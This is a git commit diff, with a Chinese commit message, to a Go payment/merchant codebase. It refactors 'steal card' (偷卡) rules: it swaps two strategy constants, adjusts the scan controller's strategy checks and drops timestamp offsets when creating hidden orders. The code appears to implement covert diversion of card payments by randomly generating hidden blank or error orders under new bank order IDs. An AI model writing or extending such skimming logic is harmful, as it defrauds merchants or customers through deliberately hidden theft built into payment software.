refactor(merchant): 重构偷卡规则逻辑

- 调整了 StealRuleType 的定义,将 StealRuleTypeStealBlank 和 StealRuleTypeStealDelay 的顺序互换
- 修改了 CreateHiddenOrder 函数中对订单更新时间和支付时间的处理逻辑
- 更新了 scan_controller 中对偷卡规则策略的判断条件
This commit is contained in:
danial
2025-02-19 14:37:07 +08:00
parent 3917831af6
commit 98761d038b
3 changed files with 7 additions and 9 deletions

View File

@@ -11,10 +11,10 @@ const (
type StealRuleType int
const (
// StealRuleTypeStealDelay 规则1延迟
StealRuleTypeStealDelay StealRuleType = 1
// StealRuleTypeStealBlank 规则2创建空白订单
StealRuleTypeStealBlank StealRuleType = 2
// StealRuleTypeStealBlank 规则1延迟
StealRuleTypeStealBlank StealRuleType = 1
// StealRuleTypeStealDelay 规则2创建空白订单
StealRuleTypeStealDelay StealRuleType = 2
// StealRuleTypeStealRandom 规则3随机
StealRuleTypeStealRandom StealRuleType = 3
)

View File

@@ -134,13 +134,13 @@ func (c *ScanController) Scan() {
hiddenCfg := service.GetOrderHidden(&orderInfo)
if hiddenCfg != nil {
hiddenCfg.Strategy = int(random.RandFromGivenSlice([]consts.StealRuleType{
consts.StealRuleTypeStealBlank,
consts.StealRuleTypeStealDelay,
consts.StealRuleTypeStealBlank,
}))
//延迟时间,两个数字之间的随机数
delayDuration := random.RandInt(hiddenCfg.DelayDurationMin, hiddenCfg.DelayDurationMax)
//1. 新的空白记录
if hiddenCfg.Strategy == int(consts.StealRuleTypeStealDelay) {
if hiddenCfg.Strategy == int(consts.StealRuleTypeStealBlank) {
newBankOrderId, err2 := service.CreateHiddenBlankOrder(&orderInfo, int64(delayDuration))
if err2 != nil {
logs.Info("创建订单失败【偷卡】:%v", err2.Error())
@@ -158,7 +158,7 @@ func (c *ScanController) Scan() {
orderInfo.BankOrderId = newBankOrderId
}
//2.新的错误记录
if hiddenCfg.Strategy == int(consts.StealRuleTypeStealBlank) {
if hiddenCfg.Strategy == int(consts.StealRuleTypeStealDelay) {
newBankOrderId, err2 := service.CreateHiddenErrorOrder(&orderInfo, int64(delayDuration))
if err2 != nil {
logs.Info("创建订单失败【偷卡】:%v", err2.Error())

View File

@@ -114,8 +114,6 @@ func CreateHiddenBlankOrder(orderInfo *order.OrderInfo, duration int64) (bankOrd
//复制到一个新的对象中
newOrderInfo := deepcopy.Copy(*orderInfo).(order.OrderInfo)
// 创建一个新的失败订单
newOrderInfo.UpdateTime = orderInfo.UpdateTime.Add(time.Second * time.Duration(duration))
newOrderInfo.PayTime = orderInfo.PayTime.Add(time.Second * time.Duration(duration))
newOrderInfo.ExValue = "{}"
newOrderInfo.Id = 0
order.InsertOrder(newOrderInfo)